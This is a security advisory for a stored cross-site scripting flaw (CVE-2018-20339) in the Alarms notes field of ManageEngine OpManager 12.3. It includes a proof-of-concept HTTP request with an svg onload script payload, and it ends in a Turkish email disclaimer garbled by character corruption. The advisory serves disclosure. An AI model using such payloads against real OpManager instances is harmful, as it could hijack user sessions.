Zoho ManageEngine OpManager 12.3 Alarms Cross Site Scripting

`I. VULNERABILITY  
-------------------------  
Zoho ManageEngine OpManager 12.3 before build 123239 allows XSS in the  
Notes column of the Alarms section  
  
II. CVE REFERENCE  
-------------------------  
CVE-2018-20339  
  
III. VENDOR  
-------------------------  
https://www.manageengine.com  
  
IV. TIMELINE  
-------------------------  
20/11/18 Vulnerability discovered  
20/11/18 Vendor contacted  
20/12/2018 OPManager replay that they fixed  
  
V. CREDIT  
-------------------------  
Murat Aydemir from Biznet Bilisim A.S.  
  
VI. DESCRIPTION  
-------------------------  
ManageEngine OPManager product(version 12.3) was vulnerable to stored  
xss attacks. A successfully exploit of this attack could allow thief  
users sessions or arbitrary interpret javascript code on remote host.  
References: https://www.manageengine.com/network-monitoring/help/read-me.html,  
https://bugbounty.zoho.com/bb/info#hof  
  
VII. PoC  
-------------------------  
POST /api/json/alarm/addNotes?apiKey=5f5e26abc7bf2af2a5669cf258ec8385&isFluidic=true  
HTTP/1.1  
Host: vulnerablehost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)  
Gecko/20100101 Firefox/61.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://vulnerablehost/apiclient/ember/index.jsp  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 113  
Cookie: JSESSIONID=DF47AA5596862216FF9BBBAE234975C1;  
encryptPassForAutomaticSignin=82a3161ad68e57b6;  
userNameForAutomaticSignin=admin;  
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;  
authrule_name=Authenticator;  
opmcsrfcookie=5bb7df90-d1a4-4942-ae64-e5308fb5d501;  
f2RedirectUrl=http%3A%2F%2F192.168.252.150%3A8061%2Fapiclient%2Fember%2Findex.jsp%23%2FAlarms%2FAlarm%2FDetails%2Fkkkkk_192.168.252.150_URL_Poll;  
NFA__SSO=57D7F0938B20457F49BB1791E756CAC3  
DNT: 1  
Connection: close  
  
notes=aabbcc%22%3E%3Csvg%2Fonload%3Dconfirm('xss_in_notes_parameter')%2F%2F&entity=kkkkk_192.168.252.150_URL_Poll  
  
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Bu mesaj ve ekleri, mesajda   
gAPnderildiAi belirtilen   
kiAi/kiAilere APzeldir ve gizlidir. Bu mesaj   
herhangi bir amaASS iASSin   
ASSoAaltA+-lamaz, daAA+-tA+-lamaz ve yayA+-nlanamaz.   
MesajA+-n gAPnderildiAi kiAi   
deAilseniz, mesaj iASSeriAini ya da eklerini   
kopyalamayA+-nA+-z, yayA+-nlamayA+-nA+-z   
ya da baAka kiAilere yAPnlendirmeyiniz ve   
mesajA+- gAPnderen kiAiyi derhal   
uyararak bu mesajA+- siliniz. Airketimiz,   
mesajA+-n iASSeriAinin ve eklerinin   
size deAiAikliAe uArayarak veya geASS   
ulaAmasA+-ndan; gizliliAinin   
korunmamasA+-ndan; virA1/4s iASSermesinden ve   
bilgisayar sisteminize verebileceAi   
herhangi bir zarardan sorumlu   
deAildir  
  
  
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